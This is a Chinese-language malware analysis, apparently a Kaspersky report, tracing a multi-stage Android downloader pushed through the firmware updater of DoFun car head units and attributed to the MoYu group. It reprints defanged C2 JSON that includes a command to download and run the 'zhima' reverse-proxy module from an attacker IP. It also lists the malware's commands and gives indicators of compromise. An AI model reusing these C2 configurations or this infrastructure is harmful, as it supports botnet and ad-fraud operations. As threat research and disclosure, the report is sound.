安卓车载信息娱乐系统固件遭恶意软件感染

2026年6月,我们在监测Android威胁时发现了一款新型安卓恶意软件。它的反常之处在于:安装流程与普通用户应用无异,却完全不伪装成合法软件——没有任何用户界面。这让我们怀疑,它可能是在用户不知情的情况下侵入设备的。后续调查证实了这一猜想,我们还成功还原了完整的感染链。
核心发现:
- 发现新型安卓恶意软件:一款多阶段下载器,最终目的是实施广告欺诈并构建代理僵尸网络。
- 恶意软件通过安卓车载主机固件的内置更新程序传播。这是首例有记录的、针对车载主机设备的专属感染链案例。
- 我们高度确信,此次攻击活动与MoYu集团有关,该组织曾关联BADBOX僵尸网络。
卡巴斯基解决方案对以下威胁的检测命名如下:
- HEUR:Trojan-Dropper.AndroidOS.Agent.vu
- HEUR:Trojan-Downloader.AndroidOS.Agent.ov
- HEUR:Trojan-Proxy.AndroidOS.Zhima.*
- HEUR:Trojan.AndroidOS.Vo1d.*
车载主机固件概述
车载主机是一套集多媒体功能与部分车辆控制功能于一体的系统,既可能是车辆出厂标配,也可作为售后升级部件安装。这类系统的主要攻击途径包括物理入侵,以及主机操作系统或组件存在的漏洞,我们此前已对这两类途径做过介绍。
部分车载主机采用Android系统,主要是因为对制造商而言十分便捷:Android源代码已适配车载主机的使用场景,还允许制造商在构建系统时添加自有应用,用于定制用户界面、开发符合厂商需求的系统组件等。
多数为安卓设备开发的应用都能在安卓车载主机上运行,恶意软件也不例外。不过,针对智能手机设计的部分恶意软件并不适用于攻击车载主机,比如银行木马——移动银行几乎仅在智能手机上使用,用银行木马感染车载主机纯粹是浪费攻击者的资源。
值得注意的是,车载主机通常配备SIM卡槽并支持联网,可实现导航、软件更新等功能。由于主机本身对攻击者而言没有直接价值,用"传统"安卓恶意软件攻击它的常见场景,是将其招募进僵尸网络,这与物联网设备遭受的攻击类似。
我们在研究中发现的正是这类恶意软件。DoFun车载主机的固件设计存在漏洞,让攻击者得以分发恶意软件。我们已将该分发机制告知厂商,对方随后反馈已修复相关安全问题。
以下是完整感染链:

车载主机感染示意图
下面我们详细解析这些主机的感染过程。
TWCore应用
TWCore是一款合法的系统应用,负责收集分析数据并更新车载主机软件。我们来看看它的更新功能具体如何运作。
流程相当简单:部署在cardoor[.]cn子域名下的MQTT消息代理会发送一条消息,包含需要下载并安装到主机的APK文件信息。值得注意的是,消息对象中有一个installNotExists字段,这是一个布尔值开关,可设为true或false。开启该开关后,TWCore就能安装设备原本没有的应用。

仅当installNotExists = false时,TWCore才会检查设备上是否已安装对应应用
APK文件会被下载到<TWCore外部缓存目录>/push/apk/路径下等待安装。

TWCore下载APK文件的路径
我们的遥测数据显示,这些文件路径中存在未知恶意软件。此外,所有观测案例中的恶意软件,均由包名为com.tw.core的应用安装,与TWCore的包名完全匹配。
接下来我们拆解TWCore安装的恶意软件:JarService投放器。
第一阶段:JarService投放器
如前文所述,JarService是一款无任何界面的小型投放器应用。它会解密存储在木马代码中的加密数据块,每个数据块采用单字节密钥进行异或加密,且密钥在不同数据块间呈线性变化。解密后的数据包含第二阶段载荷的版本、入口点等序列化信息,以及用于加载后续程序的恶意代码。

解密并反序列化第二阶段载荷信息
在我们分析的JarService版本中,下一阶段载荷的入口点是com.c.j.qbh类的wa方法。
第二阶段:加载器
这一阶段的载荷是恶意加载器,其代码中包含加密字符串,后续会被用作类名,通过反射机制执行第三阶段载荷。加载器会通过POST请求将植入信息发送至攻击者的某台服务器。以下是向C2服务器发送请求的示例:
| 1 2 3 4 5 6 7 8 9 | { "userId": "已脱敏", "dexVersion": "1.7", "dexType": 1, "channelId": "2039", "packageName": "com.tw.jar1", "appVersion": 12, "appName": "JarService" } |
C2服务器收到POST请求后,会返回第三阶段载荷的下载链接。以下是C2服务器响应示例:
| 1 2 3 4 5 6 7 8 | { "code": 200, "data": { "dexUrl": "hxxp://144.217.243[.]201/vr34der34/dex3.68.png", "dexVersion": 3.680, "status": 0 } } |
木马会利用data对象中dexUrl字段的链接,下载用于加载下一阶段的序列化数据。该数据以一个单字节整数开头,此整数是解密加载器代码中字符串的密钥。紧随其后的是一个四字节浮点值,用于对第三阶段载荷进行异或解密,而第三阶段载荷本身就位于这些密钥之后。

解密第三阶段载荷
解密后的载荷中,入口点是com.ast.sdk.BillingMain类的init方法,如下截图所示:

第三阶段载荷入口点
分析这一阶段时我们发现,下一阶段载荷的下载链接包含版本号。我们尝试了其他版本号,成功获取到7种不同的载荷变体,具体列在报告末尾的"入侵指标"部分。最早的3.57版本采用了与上述不同的解码算法,这可能意味着早期感染链在JarService与第三阶段载荷之间使用了不同的加载器。
第三阶段:点击器/反向代理加载器
默认情况下,这一阶段的恶意软件每90分钟会向/cpc/api/task发送一次POST请求,包含受感染设备的信息(如屏幕分辨率、设备型号、连接的Wi-Fi网络SSID、MAC地址等)以及木马的配置版本。若配置已过期,C2服务器会返回包含新C2地址和HTTP请求路径的更新配置。以下是响应示例,需注意在我们开展研究时,最新配置版本为3.82:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 | { "code": 100, "data": { "configVersion": 3.820, "hosts": ["hxxp://t2.kshahnd[.]sbs", "hxxp://t2.mdsjhd[.]sbs", "hxxp://t2.nmnsny[.]sbs", "hxxps://t2.nmnsny[.]sbs"], "interval": 5500000, "reportApi": "/cpc/api/report", "tagName": "config", "taskApi": "/cpc/api/task", "updates": ["hxxp://a2.kshahnd[.]sbs", "hxxp://a2.mdsjhd[.]sbs", "hxxp://a2.nmnsny[.]sbs", "hxxps://a2.nmnsny[.]sbs"], "vn": 1.010 } } |
若配置无需更新,C2服务器会返回整数形式的命令标识符,攻击者称之为productId。木马会将每个标识符映射为命令信息,并通过SharedPreferences API以序列化JSON对象的形式存储。每个标识符还有对应的版本号,以UNIX时间戳表示。若C2响应中包含未知的productId或版本过期的标识符,恶意软件会向攻击者服务器的/cpc/api/xml发送GET请求,获取所有此类标识符对应的命令内容。C2服务器会返回每个未知标识符的命令信息,示例如下:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | { "code": 200, "data": [{ "productId": 979, "script": "{\n "loadType": 1,\n "reload": true,\n "method": "start",\n "url2": "hxxp://144.217.243[.]201/vr34der34/sh65.io",\n "md52": "de77c3303e93c9450424759f1741441c",\n "name": "zhima",\n "className": "com.miyc.transfer.Client",\n "thread": true,\n "tagName": "loadlib2",\n "params": [\n {\n "type": "Context"\n },\n {\n "type": "String",\n "value": "107.151.248[.]132"\n },\n {\n "type": "String",\n "value": "1002"\n },\n {\n "type": "int",\n "value": 1337\n },\n {\n "type": "int",\n "value": 7777\n },\n {\n "type": "int",\n "value": 8888\n },\n {\n "type": "int",\n "value": 15000\n }\n ],\n "url": "hxxp://144.217.243[.]201/vr34der34/sh65.io",\n "md5": "de77c3303e93c9450424759f1741441c"\n}", "version": 1778650942 }, { "productId": 1019, "script": "{\n "loadType": 1,\n "reload": true,\n "method": "start",\n "url2": "hxxp://144.217.243[.]201/vr34der34/sh65.io",\n "md52": "de77c3303e93c9450424759f1741441c",\n "name": "zhima",\n "className": "com.miyc.transfer.Client",\n "thread": true,\n "tagName": "loadlib2",\n "params": [\n {\n "type": "Context"\n },\n {\n "type": "String",\n "value": "128.14.210[.]58"\n },\n {\n "type": "String",\n "value": "1002"\n },\n {\n "type": "int",\n "value": 9999\n },\n {\n "type": "int",\n "value": 7777\n },\n {\n "type": "int",\n "value": 8888\n },\n {\n "type": "int",\n "value": 15000\n }\n ],\n "url": "hxxp://144.217.243[.]201/vr34der34/sh65.io",\n "md5": "de77c3303e93c9450424759f1741441c"\n}", "version": 1766001509 }, { "productId": 3505, "script": "{\n"tagName":"http",\n"url":"hxxps://api.kookjar[.]com/sayhi?channel=daihai&uuid={get_uuid_10}"\n}", "version": 1776656317 }], "msg": "" } |
命令信息包含tagName字段,即命令名称。代码会将每个名称映射到负责执行该命令的对应类。

可执行命令列表
在我们开展研究时,攻击者已实现9种命令。下表列出了命令名称、简要说明及参数。这些命令的功能表明,该恶意软件可用于展示广告、实施广告欺诈(充当点击器)以及下载额外恶意代码。
| 命令名称 | 说明 | 参数 |
| return | 从SharedPreferences中返回指定值。 | key: 需要返回值对应的键 |
| copy | 设置剪贴板内容。 | text: 从SharedPreferences中取值并设为剪贴板内容的键url: 用于下载gzip压缩数据的链接(可选);下载的数据会与text键对应的值拼接,以5个空格作为分隔符 |
| http | 向指定资源发送POST/GET请求,并可根据指令将响应内容保存到SharedPreferences的指定键下。 | url: 资源地址method: HTTP方法名称(可选)startLabel: 从响应中截取数据的起始标记(可选)endLabel: 从响应中截取数据的结束标记(可选)valueLabel: 保存响应内容的键(可选)header: HTTP请求头字典(可选)content: POST请求内容(可选) |
| web | 在WebView中打开链接,并在其中执行任意JavaScript代码。 | url: 在WebView中打开的链接js: 需在WebView中执行的Base64编码JavaScript代码;当url参数为空或不存在时使用corejs: 资源加载到WebView时执行的JavaScript代码(可选)param: 启动WebView的参数字典client: 若存在该键,则使用WebViewClient手动处理重定向time: 任务超时时间 |
| loadlib | 发布本报告时尚未完全实现。 | – |
| loadlib2 | 下载并执行任意代码。 | url: 载荷下载地址name: 待下载模块的名称md5: 载荷的MD5哈希值clear: 需删除的载荷名称列表(逗号分隔,可选)params: 启动载荷所需的参数数组className: 载荷入口点的类名method: 载荷入口点的虚方法名称cmethod: 实例化入口点类所用的静态方法名称(可选)thread: 标志位;若未设置,载荷将在单独线程中运行reload: 标志位;若设置,将重启已加载的模块 |
| loadlib3 | 发布本报告时尚未完全实现。 | – |
| deeplink | 在浏览器中打开指定资源。 | url: 资源链接 |
| traceroute | 通过ICMP ping检测资源可用性。 | host: 待检测资源列表(逗号分隔) |
不过,攻击者在实际攻击中仅使用了其中一小部分命令。如上述C2响应示例所示,在本报告发布时,攻击者主要使用loadlib2和http命令。通过loadlib2命令下载的载荷是名为"zhima"的反向代理模块,诺基亚Deepfield应急响应团队的研究人员几乎在同一时间,也在电视机顶盒中独立发现了该模块,并在其报告中有所描述。这证实了攻击者的最终目标是构建代理僵尸网络。
在分析攻击链的这一阶段时,我们发现zhima模块的下载链接同样包含版本号。与上一阶段类似,我们尝试了其他可能的版本号,发现了8种zhima模块变体,最早的版本为57。已识别的zhima模块完整列表见下文"入侵指标"部分。
攻击溯源
分析完整感染链时,我们注意到第二阶段加载器创建了一个名为mosdk-host-loader的线程,命名具有明确指向性。我们随即展开调查,探寻mosdk的含义,最终发现一款包名为com.abc.nexus(哈希值3AD4BF5A86D26FFBF09CAE42AF330A98)的恶意应用,已安装在多款电视机顶盒中。该应用包含多个组件(包括与JarService类似的投放器),攻击者利用这些组件通过设备算力秘密牟利。其中,负责启动类JarService投放器的服务名为AdmoyuService。结合载荷代码中发现的恶意线程名称,我们推断服务名称中的"moyu"即指MoYu集团——该组织曾关联BADBOX恶意软件平台,HUMAN公司的研究人员此前已对其进行过描述。此外,该恶意软件的网络基础设施与MoYu集团存在大量重叠,诺基亚Deepfield应急响应团队的研究人员也在同期独立发现了这一点。基于这些相似的命名模式和显著的基础设施重叠,我们高度确信本次攻击活动由MoYu集团发起。
在调查TWCore下载的恶意软件时,我们发现域名admin.uipoxy[.]com解析到IP地址128.14.210[.]58,而该地址正是zhima反向代理模块的C2服务器之一。看起来hxxp://admin.uipoxy[.]com/proxy/u/login是zhima的管理面板,有趣的是,只要拥有有效的邀请码,任何人都可以注册。

恶意软件运营商注册页面
注册过程中,用户需查看使用条款和隐私政策,这两份文档均托管在pxyedge[.]com域名下,该域名属于PXYEDGE——一家专门销售住宅代理服务的厂商。
在admin.uipoxy[.]com的注册页面上,我们还发现了文字"copyright © 2020 proxyforu[.]com all rights reserved",该文字链接到hxxps://proxyforu[.]com,即另一家住宅代理服务厂商ProxyForU的官网。
我们发现这些网站的认证API存在多处相似性:
- 登录页面均部署在
admin.*子域名下 - 登录页面路径均为
/proxy/u/login - 注册页面路径均为
/proxy/register?channelKey=<邀请码>
据此我们认为,这些服务均与MoYu集团存在关联。
结论
尽管网络安全从业者和执法部门已采取行动打击BADBOX僵尸网络,但与其关联的个别组织仍在持续开展恶意活动,感染全球各地的设备。这类恶意软件的传播方式多种多样,包括通过预装后门下载、利用受感染的IPTV应用安装等。本次研究的案例展示了一种更为复杂的传播手段:通过合法系统应用的更新功能分发恶意软件。攻击者还在积极拓展新的攻击平台,本次发现的恶意软件是首个针对车载主机的恶意应用,这意味着这类平台如今也需要针对性的恶意软件防护措施。
入侵指标
第一阶段:JarService
ba27951b4ee1c341f4415d033369ecd3
d63bacd6d6709dd68a10ef9d374c7835
6c2e34b30da42085240ede53ab6107d4
8b5e513144a6138a966ea59e68bf9da2
e119845877089d6f4b0a70dc7388f316
第二阶段:加载器
第三阶段:加载器/点击器
0fbaa7092204f4b1494e0b840b014774
1dcf031c40ce456b6a36a00b0acf3d11
44b6b213a6a3f299eaf88e078de95ecb
67dc78e544ebce16b85dc7c195dfbc58
9642ae619b3165d23c6349002d1abe24
b067d5b0dbecbd6498bcdfba45dba77e
f0e3f7eba2cde91e2dedb921bab47422
zhima模块
412e9243f2981bbea3894254d105b3b8
71ab5517f71866279d0d87d37f2ae320
89ef78f716a75964539f2db6520be362
a4223ce4288a230d1e6c3ff2c7639045
bd4d81cd27125ad3d9a114922d468499
c6bfb1643ac7474ed8a7b4f96a187fdb
de77c3303e93c9450424759f1741441c
f8cf8c23ff597700d471fb7767df8bac
域名与IP地址
JarService下载地址
hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2026-06-08/bd80bd3c3d0e4bf6b5b4a825650d01f5.apk
hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2025-06-10/fe71af9ecf174de48d2b2ccc2c15fb04.apk
hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2024-11-07/fa831c3c23824b99871163387bcda7ad.apk
用于分发JarService的合法软件TWCore哈希值
2a64c3efc11bf224aa54f24e876446c9
7a4d3ba2dacccfdda55859a5dfee2671
ea24487996eb70c1780922fb3063bcc5